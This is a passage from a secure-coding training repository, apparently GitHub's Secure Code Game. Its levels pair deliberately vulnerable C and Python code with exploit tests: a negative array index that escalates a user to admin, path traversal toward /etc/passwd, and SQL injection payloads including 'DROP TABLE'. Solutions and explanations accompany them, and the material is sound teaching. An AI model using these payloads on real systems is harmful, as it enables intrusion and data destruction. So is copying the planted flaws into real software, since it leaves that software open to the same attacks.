26 |
27 | # Example 4 - handles invalid input such as placing an invalid order for 1.5 device
28 | def test_4(self):
29 | tv = c.Item(type='product', description='tv', amount=1000, quantity=1.5)
30 | order_1 = c.Order(id='1', items=[tv])
31 | try:
32 | c.validorder(order_1)
33 | except:
34 | self.fail("Invalid order detected")
35 |
36 | # Example 5 - handles an invalid item type called 'service'
37 | def test_5(self):
38 | service = c.Item(type='service', description='order shipment', amount=100, quantity=1)
39 | order_1 = c.Order(id='1', items=[service])
40 | self.assertEqual(c.validorder(order_1), 'Invalid item type: service')
41 |
42 | if __name__ == '__main__':
43 | unittest.main()
--------------------------------------------------------------------------------
/Season-1/Level-2/code.h:
--------------------------------------------------------------------------------
1 | // Welcome to Secure Code Game Season-1/Level-2!
2 |
3 | // Follow the instructions below to get started:
4 |
5 | // 1. Perform code review. Can you spot the bug?
6 | // 2. Run tests.c to test the functionality
7 | // 3. Run hack.c and if passing then CONGRATS!
8 | // 4. Compare your solution with solution.c
9 |
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | #define MAX_USERNAME_LEN 39
17 | #define SETTINGS_COUNT 10
18 | #define MAX_USERS 100
19 | #define INVALID_USER_ID -1
20 |
21 | // For simplicity, both the private (implementation specific) and the public (API) parts
22 | // of this application have been combined inside this header file. In the real-world, it
23 | // is expected for the public (API) parts only to be presented here. Therefore, for the
24 | // purpose of this level, please assume that the private (implementation specific) sections
25 | // of this file, would not be known to the non-privileged users of this application
26 |
27 | // Internal counter of user accounts
28 | int userid_next = 0;
29 |
30 | // The following structure is implementation-speicific and it's supposed to be unknown
31 | // to non-privileged users
32 | typedef struct {
33 | bool isAdmin;
34 | long userid;
35 | char username[MAX_USERNAME_LEN + 1];
36 | long setting[SETTINGS_COUNT];
37 | } user_account;
38 |
39 | // Simulates an internal store of active user accounts
40 | user_account *accounts[MAX_USERS];
41 |
42 | // The signatures of the following four functions together with the previously introduced
43 | // constants (see #DEFINEs) constitute the API of this module
44 |
45 | // Creates a new user account and returns it's unique identifier
46 | int create_user_account(bool isAdmin, const char *username) {
47 | if (userid_next >= MAX_USERS) {
48 | fprintf(stderr, "the maximum number of users have been exceeded");
49 | return INVALID_USER_ID;
50 | }
51 |
52 | user_account *ua;
53 | if (strlen(username) > MAX_USERNAME_LEN) {
54 | fprintf(stderr, "the username is too long");
55 | return INVALID_USER_ID;
56 | }
57 | ua = malloc(sizeof (user_account));
58 | if (ua == NULL) {
59 | fprintf(stderr, "malloc failed to allocate memory");
60 | return INVALID_USER_ID;
61 | }
62 | ua->isAdmin = isAdmin;
63 | ua->userid = userid_next++;
64 | strcpy(ua->username, username);
65 | memset(&ua->setting, 0, sizeof ua->setting);
66 | accounts[userid_next] = ua;
67 | return userid_next++;
68 | }
69 |
70 | // Updates the matching setting for the specified user and returns the status of the operation
71 | // A setting is some arbitrary string associated with an index as a key
72 | bool update_setting(int user_id, const char *index, const char *value) {
73 | if (user_id < 0 || user_id >= MAX_USERS)
74 | return false;
75 |
76 | char *endptr;
77 | long i, v;
78 | i = strtol(index, &endptr, 10);
79 | if (*endptr)
80 | return false;
81 |
82 | v = strtol(value, &endptr, 10);
83 | if (*endptr || i >= SETTINGS_COUNT)
84 | return false;
85 | accounts[user_id]->setting[i] = v;
86 | return true;
87 | }
88 |
89 | // Returns whether the specified user is an admin
90 | bool is_admin(int user_id) {
91 | if (user_id < 0 || user_id >= MAX_USERS) {
92 | fprintf(stderr, "invalid user id");
93 | return false;
94 | }
95 | return accounts[user_id]->isAdmin;
96 | }
97 |
98 | // Returns the username of the specified user
99 | const char* username(int user_id) {
100 | // Returns an error for invalid user ids
101 | if (user_id < 0 || user_id >= MAX_USERS) {
102 | fprintf(stderr, "invalid user id");
103 | return NULL;
104 | }
105 | return accounts[user_id]->username;
106 | }
--------------------------------------------------------------------------------
/Season-1/Level-2/hack.c:
--------------------------------------------------------------------------------
1 | // Run hack.c by following the instructions below:
2 |
3 | // This file exploits the vulnerabilities in code.h. Running this file will fail initially as it contains failing tests.
4 | // As all other levels, your goal is to get this file to pass.
5 |
6 | // Run hack by opening a terminal and running the following:
7 | // $ make -B Season-1/Level-2/hack && ./Season-1/Level-2/hack
8 |
9 | // As a reminder, to pass this level, both this file alongside tests.c must pass.
10 |
11 | #include "code.h"
12 |
13 | int main() {
14 | printf("Level 2 \n\n");
15 | // Creates a non-admin username called "pwned"
16 | int user1 = create_user_account(false, "pwned");
17 | printf("0. Non-admin (admin:%i) username called '%s' has been created \n", is_admin(user1), username(user1));
18 |
19 | // An outsider or an insider managed to supply the following input that originally aimed to change a dummy non-admin setting
20 | update_setting(user1, "-7", "1");
21 | printf("1. A dummy setting has been set to dummy number '1' \n");
22 | printf("2. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1));
23 |
24 | if (is_admin(user1))
25 | printf(" PRIVILEGE ESCALATION ATTACK DETECTED\n");
26 | else
27 | printf("CONGRATULATIONS LEVEL 2 PASSED!\n");
28 |
29 | return 0;
30 | }
--------------------------------------------------------------------------------
/Season-1/Level-2/hint-1.txt:
--------------------------------------------------------------------------------
1 | Consider what can happen if an attacker figures out the private,
2 | implementation-specific details of the user_account structure
3 | inside code.h. What can the attacker do with this information?
4 |
5 | Go back and try the exercise without looking hint-2.txt ;)
--------------------------------------------------------------------------------
/Season-1/Level-2/hint-2.txt:
--------------------------------------------------------------------------------
1 | Have a look inside hack.c and look at what the attacker is passing as an argument.
2 | Is that input able to overwrite something important somewhere?
3 |
4 |
5 | # Contribute new levels to the game in 3 simple steps!
6 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
--------------------------------------------------------------------------------
/Season-1/Level-2/solution.c:
--------------------------------------------------------------------------------
1 | // Vulnerability was in line 83 of code.h
2 | // Fix can be found in line 77 below
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #define MAX_USERNAME_LEN 39
11 | #define SETTINGS_COUNT 10
12 | #define MAX_USERS 100
13 | #define INVALID_USER_ID -1
14 |
15 | // For simplicity, both the private (implementation specific) and the public (API) parts
16 | // of this application have been combined inside this header file. In the real-world, it
17 | // is expected for the public (API) parts only to be presented here. Therefore, for the
18 | // purpose of this level, please assume that the private (implementation specific) sections
19 | // of this file, would not be known to the non-privileged users of this application
20 |
21 | // Internal counter of user accounts
22 | int userid_next = 0;
23 |
24 | // The following structure is implementation-speicific and it's supposed to be unknown
25 | // to non-privileged users
26 | typedef struct {
27 | bool isAdmin;
28 | long userid;
29 | char username[MAX_USERNAME_LEN + 1];
30 | long setting[SETTINGS_COUNT];
31 | } user_account;
32 |
33 | // Simulates an internal store of active user accounts
34 | user_account *accounts[MAX_USERS];
35 |
36 | // The signatures of the following four functions together with the previously introduced
37 | // constants (see #DEFINEs) constitute the API of this module
38 |
39 | // Creates a new user account and returns it's unique identifier
40 | int create_user_account(bool isAdmin, const char *username) {
41 | if (userid_next >= MAX_USERS) {
42 | fprintf(stderr, "the maximum number of users have been exceeded");
43 | return INVALID_USER_ID;
44 | }
45 |
46 | user_account *ua;
47 | if (strlen(username) > MAX_USERNAME_LEN) {
48 | fprintf(stderr, "the username is too long");
49 | return INVALID_USER_ID;
50 | }
51 | ua = malloc(sizeof (user_account));
52 | if (ua == NULL) {
53 | fprintf(stderr, "malloc failed to allocate memory");
54 | return INVALID_USER_ID;
55 | }
56 | ua->isAdmin = isAdmin;
57 | ua->userid = userid_next++;
58 | strcpy(ua->username, username);
59 | memset(&ua->setting, 0, sizeof ua->setting);
60 | accounts[userid_next] = ua;
61 | return userid_next++;
62 | }
63 |
64 | // Updates the matching setting for the specified user and returns the status of the operation
65 | // A setting is some arbitrary string associated with an index as a key
66 | bool update_setting(int user_id, const char *index, const char *value) {
67 | if (user_id < 0 || user_id >= MAX_USERS)
68 | return false;
69 |
70 | char *endptr;
71 | long i, v;
72 | i = strtol(index, &endptr, 10);
73 | if (*endptr)
74 | return false;
75 |
76 | v = strtol(value, &endptr, 10);
77 | // FIX: We should check for negative index values too! Scroll for the full solution
78 | if (*endptr || i < 0 || i >= SETTINGS_COUNT)
79 | return false;
80 | accounts[user_id]->setting[i] = v;
81 | return true;
82 | }
83 |
84 | // Returns whether the specified user is an admin
85 | bool is_admin(int user_id) {
86 | if (user_id < 0 || user_id >= MAX_USERS) {
87 | fprintf(stderr, "invalid user id");
88 | return false;
89 | }
90 | return accounts[user_id]->isAdmin;
91 | }
92 |
93 | // Returns the username of the specified user
94 | const char* username(int user_id) {
95 | // Returns an error for invalid user ids
96 | if (user_id < 0 || user_id >= MAX_USERS) {
97 | fprintf(stderr, "invalid user id");
98 | return NULL;
99 | }
100 | return accounts[user_id]->username;
101 | }
102 |
103 | /*
104 | There are two vulnerabilities in this code:
105 |
106 | (1) Security through Obscurity Abuse Vulnerability
107 | --------------------------------------------
108 |
109 | The concept of security through obscurity (STO) relies on the idea that a
110 | system can remain secure if something (even a vulnerability!) is secret or
111 | hidden. If an attacker doesn't know what the weaknesses are, they cannot
112 | exploit them. The flip side is that once that vulnerability is exposed,
113 | it's no longer secure. It's widely believed that security through obscurity
114 | is an ineffective security measure on its own, and should be avoided due to
115 | a potential single point of failure and a fall sense of security.
116 |
117 | In code.h the user_account structure is supposed to be an implementation
118 | detail that is not visible to the user. Otherwise, attackers could easily
119 | modify the structure and change the 'isAdmin' flag to 'true', to gain admin
120 | privileges.
121 |
122 | Therefore, as this example illustrates, security through obscurity alone is
123 | not enough to secure a system. Attackers are in position toreverse engineer
124 | the code and find the vulnerability. This is exposed in hack.c (see below).
125 |
126 | You can read more about the concept of security through obscurity here:
127 | https://securitytrails.com/blog/security-through-obscurity
128 |
129 |
130 | (2) Buffer Overflow Vulnerability
131 | ----------------------------
132 |
133 | In hack.c, an attacker escalated privileges and became an admin by abusing
134 | the fact that the code wasn't checking for negative index values.
135 |
136 | Negative indexing here caused an unauthorized write to memory and affected a
137 | flag, changing a non-admin user to admin.
138 |
139 | You can read more about buffer overflow vulnerabilities here:
140 | https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
141 | */
--------------------------------------------------------------------------------
/Season-1/Level-2/tests.c:
--------------------------------------------------------------------------------
1 | // Run tests.c by following the instructions below:
2 |
3 | // This file contains passing tests.
4 |
5 | // Run them by opening a terminal and running the following:
6 | // $ make -B Season-1/Level-2/tests && ./Season-1/Level-2/tests
7 |
8 | #include "code.h"
9 |
10 | int main() {
11 | printf("Level 2 \n\n");
12 | // Creates a non-admin username called "pwned"
13 | int user1 = create_user_account(false, "pwned");
14 | printf("0. Non-admin (admin:%i) username called '%s' has been created \n\n", is_admin(user1), username(user1));
15 |
16 | printf("1. Non-admin users like '%s' can update some dummy numerical settings \n", username(user1));
17 | printf("2. Non-admin users have no access to settings that can escalate themselves to admins \n\n");
18 |
19 | // Updates the setting '1' of the pwned username to the number '10'
20 | update_setting(user1, "1", "10");
21 | printf("3. Dummy setting '1' has been now set to dummy number '10' for user '%s' \n", username(user1));
22 | printf("4. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1));
23 |
24 | if (!is_admin(user1))
25 | printf("User is not an admin so the code works as expected... is it though? \n");
26 |
27 | return 0;
28 | }
--------------------------------------------------------------------------------
/Season-1/Level-3/assets/prof_picture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Lover0ne/skills-secure-code-game/e0e1d3d69d47396de61eb1182a93f4255024a3f4/Season-1/Level-3/assets/prof_picture.png
--------------------------------------------------------------------------------
/Season-1/Level-3/assets/tax_form.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Lover0ne/skills-secure-code-game/e0e1d3d69d47396de61eb1182a93f4255024a3f4/Season-1/Level-3/assets/tax_form.pdf
--------------------------------------------------------------------------------
/Season-1/Level-3/code.py:
--------------------------------------------------------------------------------
1 | # Welcome to Secure Code Game Season-1/Level-3!
2 |
3 | # You know how to play by now, good luck!
4 |
5 | import os
6 | from flask import Flask, request
7 |
8 | ### Unrelated to the exercise -- Starts here -- Please ignore
9 | app = Flask(__name__)
10 | @app.route("/")
11 | def source():
12 | TaxPayer('foo', 'bar').get_tax_form_attachment(request.args["input"])
13 | TaxPayer('foo', 'bar').get_prof_picture(request.args["input"])
14 | ### Unrelated to the exercise -- Ends here -- Please ignore
15 |
16 | class TaxPayer:
17 |
18 | def __init__(self, username, password):
19 | self.username = username
20 | self.password = password
21 | self.prof_picture = None
22 | self.tax_form_attachment = None
23 |
24 | # returns the path of an optional profile picture that users can set
25 | def get_prof_picture(self, path=None):
26 | # setting a profile picture is optional
27 | if not path:
28 | pass
29 |
30 | # defends against path traversal attacks
31 | if path.startswith('/') or path.startswith('..'):
32 | return None
33 |
34 | # builds path
35 | base_dir = os.path.dirname(os.path.abspath(__file__))
36 | prof_picture_path = os.path.normpath(os.path.join(base_dir, path))
37 |
38 | with open(prof_picture_path, 'rb') as pic:
39 | picture = bytearray(pic.read())
40 |
41 | # assume that image is returned on screen after this
42 | return prof_picture_path
43 |
44 | # returns the path of an attached tax form that every user should submit
45 | def get_tax_form_attachment(self, path=None):
46 | tax_data = None
47 |
48 | if not path:
49 | raise Exception("Error: Tax form is required for all users")
50 |
51 | with open(path, 'rb') as form:
52 | tax_data = bytearray(form.read())
53 |
54 | # assume that tax data is returned on screen after this
55 | return path
--------------------------------------------------------------------------------
/Season-1/Level-3/hack.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import os
3 | import code as c
4 |
5 | class TestTaxPayer(unittest.TestCase):
6 |
7 | # Example 1 - path traversal exploited on get_prof_picture
8 | def test_1(self):
9 | # creates tax payer object with dummy username and password
10 | test_obj = c.TaxPayer('username_test', 'password_test')
11 | # user input to the profile picture
12 | input = './../../../../../etc/passwd'
13 | # the output of the function upon processing user input
14 | output = test_obj.get_prof_picture(input)
15 |
16 | self.assertIsNone(output)
17 |
18 | # Example 2 - path traversal exploited on get_tax_form_attachment
19 | def test_2(self):
20 | # creates tax payer object with dummy username and password
21 | test_obj = c.TaxPayer('username_test', 'password_test')
22 | # gets base directory and completes path with a slash for consistency and completeness
23 | base_dir = os.path.dirname(os.path.abspath(__file__)) + "/"
24 | # user input to the tax form attachment
25 | file_path = './../../../../../etc/passwd'
26 | # complete path for input
27 | input = base_dir + file_path
28 | # the output of the function upon processing user input
29 | output = test_obj.get_tax_form_attachment(input)
30 |
31 | self.assertIsNone(output)
32 |
33 | if __name__ == '__main__':
34 | unittest.main()
35 |
--------------------------------------------------------------------------------
/Season-1/Level-3/hint.txt:
--------------------------------------------------------------------------------
1 | Have a look in hack.py and see what the attacker is supplying as value.
2 | Then, think whether is better to use a block list vs using an allow list
3 | when it comes to user input.
--------------------------------------------------------------------------------
/Season-1/Level-3/solution.py:
--------------------------------------------------------------------------------
1 | # Model solution follows
2 |
3 | import os
4 | from flask import Flask, request
5 |
6 | ### Unrelated to the exercise -- Starts here -- Please ignore
7 | app = Flask(__name__)
8 | @app.route("/")
9 | def source():
10 | TaxPayer('foo', 'bar').get_tax_form_attachment(request.args["input"])
11 | TaxPayer('foo', 'bar').get_prof_picture(request.args["input"])
12 | ### Unrelated to the exercise -- Ends here -- Please ignore
13 |
14 | class TaxPayer:
15 |
16 | def __init__(self, username, password):
17 | self.username = username
18 | self.password = password
19 | self.prof_picture = None
20 | self.tax_form_attachment = None
21 |
22 | # returns the path of an optional profile picture that users can set
23 | def get_prof_picture(self, path=None):
24 | # setting a profile picture is optional
25 | if not path:
26 | pass
27 |
28 | # builds path
29 | base_dir = os.path.dirname(os.path.abspath(__file__))
30 | prof_picture_path = os.path.normpath(os.path.join(base_dir, path))
31 | if not prof_picture_path.startswith(base_dir):
32 | return None
33 |
34 | with open(prof_picture_path, 'rb') as pic:
35 | picture = bytearray(pic.read())
36 |
37 | # assume that image is returned on screen after this
38 | return prof_picture_path
39 |
40 | # returns the path of an attached tax form that every user should submit
41 | def get_tax_form_attachment(self, path=None):
42 | tax_data = None
43 |
44 | # A tax form is required
45 | if not path:
46 | raise Exception("Error: Tax form is required for all users")
47 |
48 | # Validate the path to prevent path traversal attacks
49 | base_dir = os.path.dirname(os.path.abspath(__file__))
50 | tax_form_path = os.path.normpath(os.path.join(base_dir, path))
51 | if not tax_form_path.startswith(base_dir):
52 | return None
53 |
54 | with open(tax_form_path, 'rb') as form:
55 | tax_data = bytearray(form.read())
56 |
57 | # assume that tax data is returned on screen after this
58 | return tax_form_path
59 |
60 |
61 | # Solution explanation
62 |
63 | # Path Traversal vulnerability
64 |
65 | # A form of injection attacks where attackers escape the intended target
66 | # directory and manage to access parent directories.
67 | # In the functions get_prof_picture and get_tax_form_attachment, the path
68 | # isn't sanitized, and a user can pass invalid paths (with ../).
69 |
70 | # Input validation seems like a good solution at first, by limiting the
71 | # character set allowed to alphanumeric, but sometimes this approach is
72 | # too restrictive. We might need to handle arbitrary filenames or the
73 | # code needs to run cross-platform and account for filesystem differences
74 | # between Windows, Macs and *nix.
75 |
76 | # Proposed fix:
77 | # While you could improve the string-based tests by checking for invalid
78 | # paths (those with dot-dot etc), this approach can be risky since the
79 | # spectrum of inputs can be infinite and attackers get really creative.
80 |
81 | # Instead, a straightforward solution is to rely on the os.path
82 | # library to derive the base directory instead of trusting user input.
83 | # The user input can be later appended to the safely generated base
84 | # directory so that the absolute filepath is normalized.
85 |
86 | # Finally, add a check on the longest common subpath between the
87 | # base directory and the normalized filepath to make sure that no
88 | # traversal is about to happen and that the final path ends up in the
89 | # intended directory.
90 |
91 | # We covered this flaw in a blog post about OWASP's Top 10 proactive controls:
92 | # https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/
93 |
94 |
95 | # Contribute new levels to the game in 3 simple steps!
96 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
97 |
--------------------------------------------------------------------------------
/Season-1/Level-3/tests.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import os
3 | import code as c
4 |
5 | class TestTaxPayer(unittest.TestCase):
6 | # Example 1 - shows a valid path to a profile picture
7 | def test_1(self):
8 |
9 | # creates tax payer object with dummy username and password
10 | test_obj = c.TaxPayer('username_test', 'password_test')
11 | # user input to the profile picture
12 | input = 'assets/prof_picture.png'
13 | # the output of the function upon processing user input
14 | output = test_obj.get_prof_picture(input)
15 |
16 | # the original function the method uses to come up with base directory
17 | original_base_dir = os.path.dirname(os.path.abspath(__file__))
18 | # the base directory that the code points on AFTER user input is supplied
19 | # the trick here is to use the length of the original directory counting from left
20 | resulted_based_dir = output[:len(os.path.dirname(os.path.abspath(__file__)))]
21 |
22 | # checks against path traversal by comparing the original to resulted directory
23 | self.assertEqual(original_base_dir, resulted_based_dir)
24 |
25 | # Example 2 - shows a valid path to a tax form
26 | def test_2(self):
27 | # creates tax payer object with dummy username and password
28 | test_obj = c.TaxPayer('username_test', 'password_test')
29 | # gets base directory
30 | base_dir = os.path.dirname(os.path.abspath(__file__))
31 | # user input to the profile picture
32 | file_path = '/assets/tax_form.pdf'
33 | # complete path for input
34 | input = base_dir + file_path
35 | # the output of the function upon processing user input
36 | output = test_obj.get_tax_form_attachment(input)
37 |
38 | # the original function the method uses to come up with base directory
39 | original_base_dir = os.path.dirname(os.path.abspath(__file__))
40 | # the base directory that the code points on AFTER user input is supplied
41 | # the trick here is to use the length of the original directory counting from left
42 | resulted_based_dir = output[:len(os.path.dirname(os.path.abspath(__file__)))]
43 |
44 | # checks against path traversal by comparing the original to resulted directory
45 | self.assertEqual(original_base_dir, resulted_based_dir)
46 |
47 | if __name__ == '__main__':
48 | unittest.main()
--------------------------------------------------------------------------------
/Season-1/Level-4/code.py:
--------------------------------------------------------------------------------
1 | '''
2 | Please note:
3 |
4 | The first file that you should run in this level is tests.py for database creation, with all tests passing.
5 | Remember that running the hack.py will change the state of the database, causing some tests inside tests.py
6 | to fail.
7 |
8 | If you like to return to the initial state of the database, please delete the database (level-4.db) and run
9 | the tests.py again to recreate it.
10 | '''
11 |
12 | import sqlite3
13 | import os
14 | from flask import Flask, request
15 |
16 | ### Unrelated to the exercise -- Starts here -- Please ignore
17 | app = Flask(__name__)
18 | @app.route("/")
19 | def source():
20 | DB_CRUD_ops().get_stock_info(request.args["input"])
21 | DB_CRUD_ops().get_stock_price(request.args["input"])
22 | DB_CRUD_ops().update_stock_price(request.args["input"])
23 | DB_CRUD_ops().exec_multi_query(request.args["input"])
24 | DB_CRUD_ops().exec_user_script(request.args["input"])
25 | ### Unrelated to the exercise -- Ends here -- Please ignore
26 |
27 | class Connect(object):
28 |
29 | # helper function creating database with the connection
30 | def create_connection(self, path):
31 | connection = None
32 | try:
33 | connection = sqlite3.connect(path)
34 | except sqlite3.Error as e:
35 | print(f"ERROR: {e}")
36 | return connection
37 |
38 | class Create(object):
39 |
40 | def __init__(self):
41 | con = Connect()
42 | try:
43 | # creates a dummy database inside the folder of this challenge
44 | path = os.path.dirname(os.path.abspath(__file__))
45 | db_path = os.path.join(path, 'level-4.db')
46 | db_con = con.create_connection(db_path)
47 | cur = db_con.cursor()
48 |
49 | # checks if tables already exist, which will happen when re-running code
50 | table_fetch = cur.execute(
51 | '''
52 | SELECT name
53 | FROM sqlite_master
54 | WHERE type='table'AND name='stocks';
55 | ''').fetchall()
56 |
57 | # if tables do not exist, create them and insert dummy data
58 | if table_fetch == []:
59 | cur.execute(
60 | '''
61 | CREATE TABLE stocks
62 | (date text, symbol text, price real)
63 | ''')
64 |
65 | # inserts dummy data to the 'stocks' table, representing average price on date
66 | cur.execute(
67 | "INSERT INTO stocks VALUES ('2022-01-06', 'MSFT', 300.00)")
68 | db_con.commit()
69 |
70 | except sqlite3.Error as e:
71 | print(f"ERROR: {e}")
72 |
73 | finally:
74 | db_con.close()
75 |
76 | class DB_CRUD_ops(object):
77 |
78 | # retrieves all info about a stock symbol from the stocks table
79 | # Example: get_stock_info('MSFT') will result into executing
80 | # SELECT * FROM stocks WHERE symbol = 'MSFT'
81 | def get_stock_info(self, stock_symbol):
82 | # building database from scratch as it is more suitable for the purpose of the lab
83 | db = Create()
84 | con = Connect()
85 | try:
86 | path = os.path.dirname(os.path.abspath(__file__))
87 | db_path = os.path.join(path, 'level-4.db')
88 | db_con = con.create_connection(db_path)
89 | cur = db_con.cursor()
90 |
91 | res = "[METHOD EXECUTED] get_stock_info\n"
92 | query = "SELECT * FROM stocks WHERE symbol = '{0}'".format(stock_symbol)
93 | res += "[QUERY] " + query + "\n"
94 |
95 | # a block list (aka restricted characters) that should not exist in user-supplied input
96 | restricted_chars = ";%&^!#-"
97 | # checks if input contains characters from the block list
98 | has_restricted_char = any([char in query for char in restricted_chars])
99 | # checks if input contains a wrong number of single quotes against SQL injection
100 | correct_number_of_single_quotes = query.count("'") == 2
101 |
102 | # performs the checks for good cyber security and safe software against SQL injection
103 | if has_restricted_char or not correct_number_of_single_quotes:
104 | # in case you want to sanitize user input, please uncomment the following 2 lines
105 | # sanitized_query = query.translate({ord(char):None for char in restricted_chars})
106 | # res += "[SANITIZED_QUERY]" + sanitized_query + "\n"
107 | res += "CONFIRM THAT THE ABOVE QUERY IS NOT MALICIOUS TO EXECUTE"
108 | else:
109 | cur.execute(query)
110 |
111 | query_outcome = cur.fetchall()
112 | for result in query_outcome:
113 | res += "[RESULT] " + str(result)
114 | return res
115 |
116 | except sqlite3.Error as e:
117 | print(f"ERROR: {e}")
118 |
119 | finally:
120 | db_con.close()
121 |
122 | # retrieves the price of a stock symbol from the stocks table
123 | # Example: get_stock_price('MSFT') will result into executing
124 | # SELECT price FROM stocks WHERE symbol = 'MSFT'
125 | def get_stock_price(self, stock_symbol):
126 | # building database from scratch as it is more suitable for the purpose of the lab
127 | db = Create()
128 | con = Connect()
129 | try:
130 | path = os.path.dirname(os.path.abspath(__file__))
131 | db_path = os.path.join(path, 'level-4.db')
132 | db_con = con.create_connection(db_path)
133 | cur = db_con.cursor()
134 |
135 | res = "[METHOD EXECUTED] get_stock_price\n"
136 | query = "SELECT price FROM stocks WHERE symbol = '" + stock_symbol + "'"
137 | res += "[QUERY] " + query + "\n"
138 | if ';' in query:
139 | res += "[SCRIPT EXECUTION]\n"
140 | cur.executescript(query)
141 | else:
142 | cur.execute(query)
143 | query_outcome = cur.fetchall()
144 | for result in query_outcome:
145 | res += "[RESULT] " + str(result) + "\n"
146 | return res
147 |
148 | except sqlite3.Error as e:
149 | print(f"ERROR: {e}")
150 |
151 | finally:
152 | db_con.close()
153 |
154 | # updates stock price
155 | def update_stock_price(self, stock_symbol, price):
156 | # building database from scratch as it is more suitable for the purpose of the lab
157 | db = Create()
158 | con = Connect()
159 | try:
160 | path = os.path.dirname(os.path.abspath(__file__))
161 | db_path = os.path.join(path, 'level-4.db')
162 | db_con = con.create_connection(db_path)
163 | cur = db_con.cursor()
164 |
165 | if not isinstance(price, float):
166 | raise Exception("ERROR: stock price provided is not a float")
167 |
168 | res = "[METHOD EXECUTED] update_stock_price\n"
169 | # UPDATE stocks SET price = 310.0 WHERE symbol = 'MSFT'
170 | query = "UPDATE stocks SET price = '%d' WHERE symbol = '%s'" % (price, stock_symbol)
171 | res += "[QUERY] " + query + "\n"
172 |
173 | cur.execute(query)
174 | db_con.commit()
175 | query_outcome = cur.fetchall()
176 | for result in query_outcome:
177 | res += "[RESULT] " + result
178 | return res
179 |
180 | except sqlite3.Error as e:
181 | print(f"ERROR: {e}")
182 |
183 | finally:
184 | db_con.close()
185 |
186 | # executes multiple queries
187 | # Example: SELECT price FROM stocks WHERE symbol = 'MSFT';
188 | # SELECT * FROM stocks WHERE symbol = 'MSFT'
189 | # Example: UPDATE stocks SET price = 310.0 WHERE symbol = 'MSFT'
190 | def exec_multi_query(self, query):
191 | # building database from scratch as it is more suitable for the purpose of the lab
192 | db = Create()
193 | con = Connect()
194 | try:
195 | path = os.path.dirname(os.path.abspath(__file__))
196 | db_path = os.path.join(path, 'level-4.db')
197 | db_con = con.create_connection(db_path)
198 | cur = db_con.cursor()
199 |
200 | res = "[METHOD EXECUTED] exec_multi_query\n"
201 | for query in filter(None, query.split(';')):
202 | res += "[QUERY]" + query + "\n"
203 | query = query.strip()
204 | cur.execute(query)
205 | db_con.commit()
206 |
207 | query_outcome = cur.fetchall()
208 | for result in query_outcome:
209 | res += "[RESULT] " + str(result) + " "
210 | return res
211 |
212 | except sqlite3.Error as e:
213 | print(f"ERROR: {e}")
214 |
215 | finally:
216 | db_con.close()
217 |
218 | # executes any query or multiple queries as defined from the user in the form of script
219 | # Example: SELECT price FROM stocks WHERE symbol = 'MSFT';
220 | # SELECT * FROM stocks WHERE symbol = 'MSFT'
221 | def exec_user_script(self, query):
222 | # building database from scratch as it is more suitable for the purpose of the lab
223 | db = Create()
224 | con = Connect()
225 | try:
226 | path = os.path.dirname(os.path.abspath(__file__))
227 | db_path = os.path.join(path, 'level-4.db')
228 | db_con = con.create_connection(db_path)
229 | cur = db_con.cursor()
230 |
231 | res = "[METHOD EXECUTED] exec_user_script\n"
232 | res += "[QUERY] " + query + "\n"
233 | if ';' in query:
234 | res += "[SCRIPT EXECUTION]"
235 | cur.executescript(query)
236 | db_con.commit()
237 | else:
238 | cur.execute(query)
239 | db_con.commit()
240 | query_outcome = cur.fetchall()
241 | for result in query_outcome:
242 | res += "[RESULT] " + str(result)
243 | return res
244 |
245 | except sqlite3.Error as e:
246 | print(f"ERROR: {e}")
247 |
248 | finally:
249 | db_con.close()
--------------------------------------------------------------------------------
/Season-1/Level-4/hack.py:
--------------------------------------------------------------------------------
1 | '''
2 | Please note:
3 |
4 | The first file that you should run in this level is tests.py for database creation, with all tests passing.
5 | Remember that running the hack.py will change the state of the database, causing some tests inside tests.py
6 | to fail.
7 |
8 | If you like to return to the initial state of the database, please delete the database (level-4.db) and run
9 | the tests.py again to recreate it.
10 | '''
11 |
12 | import unittest
13 | import code as c
14 |
15 | # code.py has 5 methods namely:
16 | # (1) get_stock_info
17 | # (2) get_stock_price
18 | # (3) update_stock_price
19 | # (4) exec_multi_query
20 | # (5) exec_user_script
21 |
22 | # All methods are vulnerable!
23 |
24 | # Here we show an exploit against (2) get_stock_price which is applicable to
25 | # methods (1) and (3) as well.
26 |
27 | # We believe that methods (4) and (5) shouldn't exist at all in the code.
28 | # Have a look on solution.py for the why.
29 |
30 | class TestDatabase(unittest.TestCase):
31 |
32 | # performs an attack by passing another query.
33 | # Does so by using the semicolon so the method executes a script.
34 | def test_1(self):
35 | op = c.DB_CRUD_ops()
36 |
37 | # what the developer expects to be passed is this:
38 | developer_expectation = op.get_stock_price('MSFT')
39 | developer_output_expectation = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)\n"
40 |
41 | # but the hacker passes is this:
42 | what_hacker_passes = op.get_stock_price("MSFT'; UPDATE stocks SET price = '525' WHERE symbol = 'MSFT'--")
43 | hacker_output = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'; UPDATE stocks SET price = '525' WHERE symbol = 'MSFT'--'\n[SCRIPT EXECUTION]\n"
44 |
45 | self.assertEqual(developer_output_expectation, what_hacker_passes)
46 |
47 | # Further exploit input could be:
48 | # "MSFT'; DROP TABLE stocks--"
49 | # through:
50 | # op.get_stock_price("MSFT'; DROP TABLE stocks--")
51 |
52 | if __name__ == '__main__':
53 | unittest.main()
--------------------------------------------------------------------------------
/Season-1/Level-4/hint.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 |
3 | # Vulnerable
4 | con = sqlite3.connect('users.db')
5 | user_input = "Mary"
6 | sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');"
7 | con.executescript(sql_stmt)
8 |
9 | """
